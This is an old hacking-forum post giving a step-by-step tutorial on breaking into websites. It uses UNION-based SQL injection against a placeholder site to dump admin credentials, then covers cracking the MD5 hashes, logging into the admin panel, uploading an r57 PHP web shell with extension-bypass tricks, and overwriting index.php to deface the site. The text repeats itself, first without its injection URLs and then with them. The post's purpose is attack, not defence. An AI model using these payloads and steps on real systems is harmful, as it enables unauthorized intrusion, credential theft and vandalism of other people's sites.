Aug 1, 2010 02:32 AM
(This post was last modified: Dec 2, 2012 04:27 PM by Deflate.)
SQL Injection + Defacement Tutorial By Deflate
1. What is SQL? SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.
2. What is Defacement ? A website defacement is an attack on a website that changes the visual appearance of the site. These are typically the work of system crackers, who break into a web server and replace the hosted website with one of their own.
What do you need before you start with SQL Injection.
You need Admin Finder ( to find admin panel from website )
*SQL Injection Vulnerable Scanner*
Admin Finder: Spoiler (Click to View)
Admin Finders online[NEW 03.12.2012]
Spoiler (Click to View)
Vulnerable Scanner[NEW 03.12.2012]: Spoiler (Click to View)
Dorks for Finding Vulnerable sites!: Spoiler (Click to View)
MD5 Hash Crackers Online:Spoiler (Click to View)
Text to ASCII Converter:Spoiler (Click to View)
Shell:Spoiler (Click to View)
Some vulnerable websites:Spoiler (Click to View)
Starting Tutorial:
1. First you need to find vulnerable website.
http://sql-vuln-site.com/index.php?id=15
2. Now you need to find columns.
Error`s looks like this:
3. Now Select columns
Columns is 5
4. Finding version.
So if you not go the bold number 1 , 2, 3 , 4 one of them you will try all.
I choose 1
you got the version like this:
5. Finding Tables
And you will got tables like this:
So must be there table by name: admin , users , user , login , client.
6. Finding Columns in the Table ADMINS.
We found ADMINS table now go to ASCII web and convert ADMINS
You will got this ADMINS
Remove &# and replace ; to ,
Like this: 65,68,77,73,78,83
And you will got the columns in table ADMINS
There need to have columns with names: username and password
7. Getting username and password.
Now we put concat(username,0x3a,password) and admins
( 0x3a is ASCII )
8. Finded username and password
So you found the username and password
if the password is hash like this: 2510c39011c5be704182423e3a695e91
you will need to use MD5 Hash Online Crackers.
If password is not hash you are lucky and now you need to find admin panel.
9. Finding Admin Panel
Open the tool Admin Finder
Put the website in the bellow and click Scan.
So you found admin panel and it looks like this http://sql-vuln-site.com/admin/login.php
You open website and there have Username: Password:
Put username and password what you got.
Done you login in Admin Panel lets upload shell and deface.
10. Uploading Shell and Add Deface
In Admin Panel you will search categories or anything where you can upload a file or picture.
When you found, you will download shell from the website who i tell you before start tutorial so you will try to upload your shell like: r57.php when you upload it you will see the link of the upload and open it like this:
http://sql-vuln-site.com/upload/r57.php
If can't upload r57.php change it to r57.jpg.php or r57.txt and try!
You need to make a deface page in html and put in the website so you open the shell looks like this image: Spoiler (Click to View)
You will found a file index.php and click on it and there you will remove the php code from index and put your html code.
Congratulations you deface the website.
Thanks for reading my tutorial i hopes it will help you .
I will make and Video tutorial!
1. What is SQL? SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.
2. What is Defacement ? A website defacement is an attack on a website that changes the visual appearance of the site. These are typically the work of system crackers, who break into a web server and replace the hosted website with one of their own.
What do you need before you start with SQL Injection.
You need Admin Finder ( to find admin panel from website )
*SQL Injection Vulnerable Scanner*
Admin Finder: Spoiler (Click to View)
Admin Finders online[NEW 03.12.2012]
Spoiler (Click to View)
Vulnerable Scanner[NEW 03.12.2012]: Spoiler (Click to View)
Dorks for Finding Vulnerable sites!: Spoiler (Click to View)
MD5 Hash Crackers Online:Spoiler (Click to View)
Text to ASCII Converter:Spoiler (Click to View)
Shell:Spoiler (Click to View)
Some vulnerable websites:Spoiler (Click to View)
Starting Tutorial:
1. First you need to find vulnerable website.
http://sql-vuln-site.com/index.php?id=15
2. Now you need to find columns.
Code
http://sql-vuln-site.com/index.php?id=15 order by 1-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 2-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 3-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 4-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 5-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 6-- ( error )Error`s looks like this:
Code
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'39' at line 1
database query failure- SELECT * FROM texecom_sidemenu WHERE id=\'393. Now Select columns
Columns is 5
Code
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT 1,2,3,4,5--4. Finding version.
So if you not go the bold number 1 , 2, 3 , 4 one of them you will try all.
I choose 1
Code
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT @@version,2,3,4,5--you got the version like this:
Code
5.0.32-Debian_7etch11-log5. Finding Tables
Code
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT table_name,2,3,4,5 from information_schema.tables--And you will got tables like this:
Code
PRODUCTS , ADMINS , and othersSo must be there table by name: admin , users , user , login , client.
6. Finding Columns in the Table ADMINS.
Code
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT column_name,2,3,4,5 from information_schema.columns where table_name=char()--We found ADMINS table now go to ASCII web and convert ADMINS
You will got this ADMINS
Remove &# and replace ; to ,
Like this: 65,68,77,73,78,83
Code
You put table_name=char(65,68,77,73,78,83)--Code
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT column_name,2,3,4,5 from information_schema.columns where table_name=char(65,68,77,73,78,83)--And you will got the columns in table ADMINS
There need to have columns with names: username and password
7. Getting username and password.
Now we put concat(username,0x3a,password) and admins
Code
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT concat(username,0x3a,password),2,3,4,5 from admins--( 0x3a is ASCII )
8. Finded username and password
So you found the username and password
if the password is hash like this: 2510c39011c5be704182423e3a695e91
you will need to use MD5 Hash Online Crackers.
If password is not hash you are lucky and now you need to find admin panel.
9. Finding Admin Panel
Open the tool Admin Finder
Put the website in the bellow and click Scan.
So you found admin panel and it looks like this http://sql-vuln-site.com/admin/login.php
You open website and there have Username: Password:
Put username and password what you got.
Done you login in Admin Panel lets upload shell and deface.
10. Uploading Shell and Add Deface
In Admin Panel you will search categories or anything where you can upload a file or picture.
When you found, you will download shell from the website who i tell you before start tutorial so you will try to upload your shell like: r57.php when you upload it you will see the link of the upload and open it like this:
http://sql-vuln-site.com/upload/r57.php
If can't upload r57.php change it to r57.jpg.php or r57.txt and try!
You need to make a deface page in html and put in the website so you open the shell looks like this image: Spoiler (Click to View)
You will found a file index.php and click on it and there you will remove the php code from index and put your html code.
Congratulations you deface the website.
Thanks for reading my tutorial i hopes it will help you .
I will make and Video tutorial!
